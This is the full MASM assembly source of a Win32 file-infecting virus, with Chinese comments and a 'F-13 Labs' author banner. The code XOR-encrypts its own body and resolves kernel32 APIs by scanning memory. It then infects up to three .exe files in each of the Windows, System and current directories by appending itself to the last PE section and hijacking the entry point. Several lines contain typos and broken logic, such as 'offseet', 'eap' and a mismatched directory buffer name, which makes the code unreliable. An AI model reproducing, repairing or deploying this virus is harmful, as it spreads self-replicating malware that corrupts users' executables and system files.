.386p
.model flat ,stdcall
options casemap:none
jumps
.data
.code
VirusStart:
;重定位
call delta
delta:
pop ebp
mov eax,ebp
sub ebp,offset delta
sub eax,RedundatSize
sub eax,1000h
NewEip equ $-4
mov dword ptr [ebp+AppBase],eax
mov esi,[esp]
pushad
call Crypt
popad
CryptStart:
call GetK32
mov dword ptr [ebp+aKernel32],eax
lea edi,[ebp+offset @@Offsetz]
lea esi,[ebp+offset @@Namez]
call GetApis
call SpecialApi
call DirScan
CryptEnd:
cmp ebp,0
je FirstGeneration
ReturnHost:
mov eax,12345678h
org $-4
OldEip dd 00001000h
mov eax,dword ptr [ebp+offset OldEip]
jmp eax
ret
;========================================================
;
; DirScan子程序设置要感染的目录
;
;=========================================================
DirScan:
push 128h
lea eax,[ebp+offset WidowsDir]
push eax
mov eax,dword ptr [ebp+offset aGetWindowsDirectoryA]
call eax
push 128h
lea eax,[ebp+offset SystemDir]
push eax
mov eax,dword ptr [ebp+offset aGetSystemDirectoryA]
call eax
lea eax,[ebp+offset CurrentDir]
push eax
push 128h
mov eax,[ebp+offset aGetCurrentDirectoryA]
call eax
lea eax,[ebp+offset WindowsDir]
push eax
mov eax,[ebp+offset aSetCurrentDirectoryA]
call eax
mov dword ptr [ebp+offset Counter],3
call SearchFiles
lea eax,[ebp+offset SystemDir]
push eax
mov eax,[ebp+offset aSetCurrentDirectoryA]
call eax
mov dword ptr [ebp+offset Counter],3
call SearchFiles
lea eax,[ebp+offset CurrentDir]
push eax
mov eax,[ebp+offset aSetCurrentDirectoryA]
mov dword ptr [ebp+ offset Counter],3
call SearchFiles
ret
;======================================================================
;
; SearchFiles子程序寻找感染目标(*.exe),并尝试感染3个文件
;
;======================================================================
SearchFiles:
push ebp
lea eax,dword ptr [ebp+offset Win32FindData]
push eax
lea eax,[ebp+offset Mark]
push eax
mov eax,[ebp+offset aFindFirstFileA]
call eax
pop ebp
inc eax
jz SearchClose
dec eax
mov dword ptr[ebp+offset SearchHandle],eax
mov esi,offset Win32FindData.FileName
add esi,ebp
mov dword ptr [ebp+offset FilePointer],esi
cmp [Win32FindData.FileSizeHigh+ebp],0
jne SearchNext
mov ecx,[Win32FindData.FileSizeLow+ebp]
mov dword ptr [ebp+offset NewFileSize],ecx
mov dword ptr [ebp+offset OriFileSize],ecx
push dword ptr [ebp+offset OldEip]
call InfectFiles
pop dword ptr [ebp+offset OldEip]
dec dword ptr [ebp+offset Counter]
cmp dword ptr [ebp+offset Counter],0
je SearchHandleClose
SearchNext:
push ebp
mov eax,dword ptr [ebp+offset Win32FindData]
push eax
mov eax,dword ptr [ebp+offset SearchHandle]
push eax
mov eax,[ebp+offset aFindNextFileA]
call eax
pop ebp
cmp eax,0
je SearchHandleClose
mov esi,offset Win32FindData.FileName
add esi,ebp
mov dword ptr [ebp+offset FilePointer],esi
cmp [Win32FindData.FileSizeHigh+ebp],0
jne SearchNext
mov ecx,[Win32FindData.FileSizeLow+ebp]
mov dword ptr [ebp+offset NewFileSize],ecx
mov dword ptr [ebp+offset OriFileSize],ecx
push dword ptr [ebp+offset OldEip]
call InfectFiles
pop dword ptr [ebp+offset OldEip]
dec dword ptr [ebp+offset Counter]
cmp dword ptr [ebp+offset Counter],0
jne SearchNext
SearchHandleClose:
push dword ptr [ebp+offset SearchHandle]
mov eax,[ebp+offset aFindClose]
call eax
cmp eax,0
je SearchClose
SearchClose:
ret
;===========================================================================
;
; InfectFiles子程序感染.exe文件
;
;===========================================================================
InfectFiles:
pushad
mov dword ptr [ebp+offset InfectFlag],0
mov ecx,dword ptr [ebp+offset NewFileSize]
cmp ecx,MinimumFileSize
jb JumpOut
add ecx,total_size
mov dword ptr [ebp+offset NewFileSize],ecx
push ebp
push dword ptr [ebp+offset FilePointer]
mov eax,[ebp+offset aGetFileAttributesA]
call eax
pop ebp
mov dword ptr [ebp+offset FileAttribute],eax
push ebp
push 00000080h
push dword ptr [ebp+offset FilePointer]
mov eax,[ebp+offset aSetFileAttributesA]
call eax
pop ebp
cmp eax,0
jz ErrorOpenExe
push ebp
push 0h
push 00000080h
push 0h
push 00000000h
push 80000000 or 40000000h
push dword ptr [ebp+offset FilePointer]
mov eax,[ebp+offset aCreateFileA]
call eax
pop ebp
inc eax
cmp eax,0
jz ErrorOpenExe
dec eax
mov dword ptr [ebp+offset FileHandle],eax
push ebp
push dword ptr [ebp+offset NewFileSize]
push 0h
mov eax,[ebp+offset aGlobalAlloc]
call eax
pop ebp
cmp eax,0h
jz ErrorBuffer
mov dword ptr [ebp+offset MemoryHandle],eax
push ebp
lea eax,[ebp+offset ByteRead]
push 0h
push eax
push dword ptr [ebp+offset OriFileSize]
push dword ptr [ebp+offset MemoryHandle]
push dword ptr [ebp+offset FileHandle]
mov eax,[ebp+offset aReadFile]
call eax
pop ebp
cmp eax,0h
jz ErrorReadExe
push ebp
push 0h
push 0h
push 0h
push dword ptr [ebp+offset FileHandle]
mov eax,[ebp+offset aSetFilePointer]
call eax
pop ebp
inc eax
cmp eax,0h
jz ErrorReadExe
mov ebx,dword ptr [ebp+offset MemoryHandle]
mov esi,dword ptr [ebp+offset MemoryHandle]
cmp word ptr [esi],"ZM"
jnz ErrorReadExe
xor eax,eax
mov eax,dword ptr [esi+3ch]
add esi,eax
cmp dword ptr [esi],"EP"
jz StartInfect
mov dword ptr [ebp+offset InfectFlag],0FFh
jmp ErrorReadExe
StartInfect:
mov dword ptr [ebp+offset PEHeader],esi
cmp dword ptr [esi+4ch],"31"
jz InfectError
mov dword ptr [esi+4ch],"31"
mov ebx,[esi+74h]
shl ebx,3
xor eax,eax
mov ax,word ptr[esi+06h]
dec eax
mov ecx,28h
mul ecx
add eax,ebx
add esi,78h
add esi,eax
mov edi,dword ptr [ebp+offset PEHeader]
mov eax,[esi+0ch]
add eax,dword ptr [esi+10h]
mov dword ptr [ebp+offset NewEip],eax
xchg eax,[edi+28h]
add eax,[edi+34h]
mov dword ptr [ebp+offseet OldEip],eax
mov ecx,total_size
add [esi+08h],ecx
mov eax,[esi+08h]
add eax,[esi+0ch]
mov [edi+50h],eax
mov eax,[esi+10h]
add [esi+10h],ecx
or dword ptr [esi+24h],0A000020h
mov edi,[esi+14h]
mov ebx,dword ptr [ebp+offset MemoryHandle]
add edi,ebx
add edi,eax
mov esi,offset VirusStart
add esi,ebp
pushad
mov byte ptr [ebp+offset CryptKey],0ffh
call Crypt
popad
rep movsb
call Crypt
lea eax,[eap+offset ByteRead]
push ebp
push 0h
push eax
push dword ptr [ebp+offset NewFileSize]
push dword ptr [ebp+offset MemoryHandle]
push dword ptr [ebp+offset FileHandle]
mov eax,[ebp+offset aWriteFile]
call eax
pop ebp
InfectError:
ErrorReadExe:
push ebp
push dword ptr [ebp+offset MemoryHandle]
mov eax, [ebp+offset aGlobalFree]
call eax
pop ebp
ErrorBuffer:
push ebp
push dword ptr [ebp+offset FileHandle]
mov eax, [ebp+offset aCloseHandle]
call eax
pop ebp
ErrorOpenExe:
push ebp
push dword ptr [ebp+offset FileAttribute]
push dword ptr [ebp+offset FilePointer]
mov eax, [ebp+offset aSetFileAttributesA]
call eax
pop ebp
jmp InfectCheck
InfectFail:
stc
jmp JumpOut
InfectCheck:
cmp dword ptr [ebp+offset InfectFlag], 0FFh
jz InfectFail
clc
JumpOut:
popad
ret
;==================================================================================
;
; GetK32子程序使用暴力搜索获得Kernel32.dll的基地址
;
;===================================================================================
GetK32 PROC
ScanK32:
cmp word ptr [esi], "ZM"
je K32Found
sub esi, 1000h
jmp ScanK32
K32Found:
mov eax, esi
ret
GetK32 endp
;======================================================================================
;
; GetApis子程序调用GetApi程序 获取一些常用的API函数 edi=API offset,esi=API name
;
;======================================================================================
GetApis PROC
@@1:
mov eax, dword ptr [ebp+aKernel32]
push esi
push edi
call GetApi
pop edi
pop esi
mov [edi], eax ;store API address in eax ----> edi
add edi, 4
@@3:
inc esi
cmp byte ptr [esi], 0
jne @@3
inc esi
cmp byte ptr [esi], 0FFh ;ended?
jnz @@1
ret
GetApis endp
;============================================================================================
;
; GetApi子程序 从内存中模块(Kernel32.dll)的导出表中获取某个API的入口地址
;
;============================================================================================
GetApi PROC
mov ebx, [eax+3ch] ;ebx=offset PE header
add ebx, eax ;ebx=point to PE header
mov ebx, [ebx+78h] ;ebx=point to ExportDirectory Virtual Address
add ebx, eax ;normalize, ebx=point to ExportDirectory
xor edx, edx ;edx=0
mov ecx, [ebx+20h] ;ecx=point to AddressOfNames
add ecx, eax ;normalize
push esi ;save to stack
push edx ;save to stack
NextApi:
pop edx
pop esi
inc edx ;edx=the index into AddressOfOrdinals+1
mov edi, [ecx] ;edi=API function export by Kernel32.dll
add edi, eax ;normalize
add ecx, 4 ;point to next API function
push esi ;save to stack
push edx
CompareApi:
mov dl, [edi] ;dl=API function export by Kernel32.dll
mov dh, [esi] ;dh=API function we looking for
cmp dl, dh ;match?
jne NextApi ;not match....ok...next API
inc edi ;if match, compare next byte
inc esi
cmp byte ptr [esi], 0 ;finish?
je GetAddr ;jmp to get the address of API function
jmp CompareApi
GetAddr:
pop edx
pop esi
dec edx ;edx-1 (because edx=index point to zero -finish)
shl edx, 1 ;edx=edx*2
mov ecx, [ebx+24h]
add ecx, eax
add ecx, edx ;ecx=ordinals
xor edx,edx
mov dx, [ecx]
shl edx, 2 ;edx=edx*4
mov ecx, [ebx+1ch] ;ecx=RVA AddressOfFunctions
add ecx, eax ;normalize
add ecx, edx
add eax, [ecx] ;eax=address of API function we looking for
ret
GetApi endp
;===========================================================================
;
; SpecialApi子程序
;
;===========================================================================
SpecialApi proc
push offset User32Dll
mov eax, dword ptr [ebp+offset aLoadLibraryA]
call eax
mov esi, offset sMessageBoxA
push esi
push eax
mov eax, dword ptr [ebp+offset aGetProcAddress]
call eax
mov dword ptr [ebp+offset aMessageBoxA], eax
ret
SpecialApi endp
;------------------------------------------------------------------------------
;Encrypt/Decrypt Virus Data
;------------------------------------------------------------------------------
Crypt:
mov esi, offset CryptStart
add esi, ebp
mov ah, byte ptr [ebp+offset CryptKey]
mov ecx, CryptEnd-CryptStart
CryptLoop:
xor byte ptr [esi], ah
inc esi
loop CryptLoop
ret
;-------------------------------------------------------------------------------
;Pop up message
;-------------------------------------------------------------------------------
FirstGeneration:
push 0
push offset szTopic
push offset szText
push 0
mov eax, dword ptr [ebp+offset aMessageBoxA]
call eax
push 0
mov eax, dword ptr [ebp+offset aExitProcess]
call eax
;-----------------------------------------------------------------------------
;APIs function needed.
;-----------------------------------------------------------------------------
sMessageBoxA db "MessageBoxA", 0
aMessageBoxA dd 00000000h
@@Namez label byte
sGetProcAddress db "GetProcAddress", 0
sLoadLibraryA db "LoadLibraryA", 0
sExitProcess db "ExitProcess", 0
sGetWindowsDirectoryA db "GetWindowsDirectoryA", 0
sGetSystemDirectoryA db "GetSystemDirectoryA", 0
sGetCurrentDirectoryA db "GetCurrentDirectoryA", 0
sSetCurrentDirectoryA db "SetCurrentDirectoryA", 0
sFindFirstFileA db "FindFirstFileA", 0
sFindNextFileA db "FindNextFileA", 0
sFindClose db "FindClose", 0
sGlobalAlloc db "GlobalAlloc", 0
sGlobalFree db "GlobalFree", 0
sGetFileAttributesA db "GetFileAttributesA", 0
sSetFileAttributesA db "SetFileAttributesA", 0
sCreatFileA db "CreateFileA", 0
sReadFile db "ReadFile", 0
sWriteFile db "WriteFile", 0
sGetFileTime db "GetFileTime",0
sGetFileSize db "GetFileSize", 0
sCreateFileMapping db "CreateFileMapping", 0
sMapViewOfFile db "MapViewOfFile", 0
sUnmapViewOfFile db "UnmapViewOfFile", 0
sCloseHandle db "CloseHandle", 0
sSetFileTime db "SetFileTime", 0
sSetFilePointer db "SetFilePointer", 0
sSetEndOfFile db "SetEndOfFile", 0
db 0FFh
@@Offsetz label byte
aGetProcAddress dd 00000000h
aLoadLibraryA dd 00000000h
aExitProcess dd 00000000h
aGetWindowsDirectoryA dd 00000000h
aGetSystemDirectoryA dd 00000000h
aGetCurrentDirectoryA dd 00000000h
aSetCurrentDirectoryA dd 00000000h
aFindFirstFileA dd 00000000h
aFindNextFileA dd 00000000h
aFindClose dd 00000000h
aGlobalAlloc dd 00000000h
aGlobalFree dd 00000000h
aGetFileAttributesA dd 00000000h
aSetFileAttributesA dd 00000000h
aCreateFileA dd 00000000h
aReadFile dd 00000000h
aWriteFile dd 00000000h
aGetFileTime dd 00000000h
aGetFileSize dd 00000000h
aCreateFileMapping dd 00000000h
aMapViewOfFile dd 00000000h
aUnmapViewOfFile dd 00000000h
aCloseHandle dd 00000000h
aSetFileTime dd 00000000h
aSetFilePointer dd 00000000h
aSetEndOfFile dd 00000000h
;------------------------------------------------------------------------------
;Parameters
;------------------------------------------------------------------------------
aKernel32 dd 00000000h
Counter dd 00000000h
SearchHandle dd 00000000h
FileHandle dd 00000000h
FilePointer dd 00000000h
OriginalFileTime dd 00000000h
MapSize dd 00000000h
FileAttribute dd 00000000h
MemoryHandle dd 00000000h
MapAddress dd 00000000h
OldRawSize dd 00000000h
NewRawSize dd 00000000h
NewFileSize dd 00000000h
PEHeader dd 00000000h
FileAlign dd 00000000h
IncreaseRaw dd 00000000h
InfectFlag dd 00000000h
OriFileSize dd 00000000h
AppBase dd 00400000h
ByteRead dd ?
User32Dll db "User32.dll", 0 ;User32.dll
WindowsDir db 128h dup (0)
SystemDir db 128h dup (0)
CurrentDir db 128h dup (0)
Mark db "*.exe", 0 ;target file *.exe
RedundantSize equ (offset delta - offset VirusStart)
total_size equ (offset VirusEnd - offset VirusStart)
szTopic db "F-13 Labs", 0
szText db "Author:lclee_vx", 0
max_path equ 260
MinimumFileSize equ 1024d
filetime STRUC ;file time structure
FT_dwLowDateTime DD ?
FT_dwHighDateTime DD ?
filetime ENDS
win32_find_data STRUC
FileAttributes DD ? ; attributes
CreationTime filetime ? ; time of creation
LastAccessTime filetime ? ; last access time
LastWriteTime filetime ? ; last modificationm
FileSizeHigh DD ? ; filesize
FileSizeLow DD ? ; -"-
Reserved0 DD ? ;
Reserved1 DD ? ;
FileName DB max_path DUP (?) ; long filename
AlternateFileName DB 13 DUP (?) ; short filename
DB 3 DUP (?) ; dword padding
win32_find_data ENDS ;
;
Win32FindData win32_find_data ? ; our search area
CryptKey db ?
VirusEnd:
ends
end VirusStart